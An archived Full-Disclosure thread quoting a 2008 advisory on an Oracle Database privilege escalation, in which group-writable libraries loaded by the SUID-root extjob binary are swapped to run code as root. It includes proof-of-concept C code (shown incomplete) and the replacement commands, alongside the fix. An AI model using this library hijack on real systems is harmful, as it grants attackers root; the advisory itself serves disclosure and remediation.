Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email email@example.com
From: jmpascual (jmpascualopen3s.com)
Date: Sat Jul 19 2008 - 17:10:56 CDT
It is reported to Oracle since 2004 by open3s and affects others libs. The
workaround is very simple but it is "under investigation / being fixed in
main codeline. Scheduled for future cpu"
juan manuel pascual
On Sat, 19 Jul 2008, Joxean Koret wrote:
> Oracle Database Local Untrusted Library Path Vulnerability
> The Oracle July 2008 Critical Patch Update fixes a vulnerability which
> allows a user in the OINSTALL/DBA group to scalate privileges to root.
> Scalating Privileges from "oracle" to "root"
> In Oracle 10g R2 and later (Oracle11g is also vulnerable) the affected
> binary, $ORACLE_HOME/bin/extjob, is SUID root and must be suid root. In
> the following forum from Oracle you will found a note at the bottom of
> the page:
> In 10.2.0.2 and higher
> rdbms/admin/externaljob.ora file must must be owned by root:oraclegroup
> be writable only by the owner i.e. 644 (rw-r--r--)
> bin/extjob file must be also owned by root:oraclegroup but must be
> setuid i.e. 4750 (-rwsr-x---)
> bin/extjobo should have normal 755 (rwxr-xr-x) permissions and be owned
> In 11g and higher
> Same as 10.2.0.2 but additionally bin/jssu should exist with root
> permissions i.e. owned by root:oraclegroup with 4750 (-rwsr-x---)
> The "oraclegroup" is commonly "dba" or "oinstall". Regardless of the
> group's name, if a user can execute OS commands from the database (after
> an attacker gains DBA privileges by abusing from an sql injection
> vulnerability, in example) the user is allowed to execute, modify,
> delete or create new files under the ORACLE_HOME directory.
> The following are the linked libraries of the extjob binary:
> $ ldd $ORACLE_HOME/bin/extjob
> linux-gate.so.1 => (0xffffe000)
> => /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.1
> libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb6681000)
> libm.so.6 => /lib/tls/i686/cmov/libm.so.6 (0xb665f000)
> libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0
> libnsl.so.1 => /lib/tls/i686/cmov/libnsl.so.1 (0xb6638000)
> libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb6509000)
> => /home/joxean/oracle10g/product/10.1.0/db_2/lib/libnnz10.so
> libaio.so.1 => /usr/lib/libaio.so.1 (0xb635c000)
> /lib/ld-linux.so.2 (0xb7f95000)
> As you can see, 2 Oracle libraries are linked to the extjob binary. A
> user in the oracle group can't change the binary "extjob" because it's
> owned by root but can change linked libraries to execute arbitrary code
> under the privileges of "root". The following is an example of what can
> be done:
> -- Example with libclntsh.so
> $ cat test.c
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> void __attribute__ ((constructor)) my_init(void)
> printf("[+] It works! Root shell...\n");
> $ cc test.c -fPIC -o test.so -shared
> mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2 /home/joxean/oracle10g/product/10.2.0/db_2/lib/.libclntsh.so.10.2
> $ mv
> test.so /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
> $ $ORACLE_HOME/bin/extjob
> [+] It works! Root shell...
> Despite the privileges needed, the vulnerability can be used in a
> multi-stage attack to gain root privileges.
> Remove the SUID root bit from the extjob binary.
> The information in this advisory and any of its demonstrations is
> provided "as is" without any warranty of any kind.
> I am not liable for any direct or indirect damages caused as a result of
> using the information or demonstrations provided in any part of this
> Joxean Koret - joxeankoret[at]yahoo[dot]es
Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia - http://secunia.com/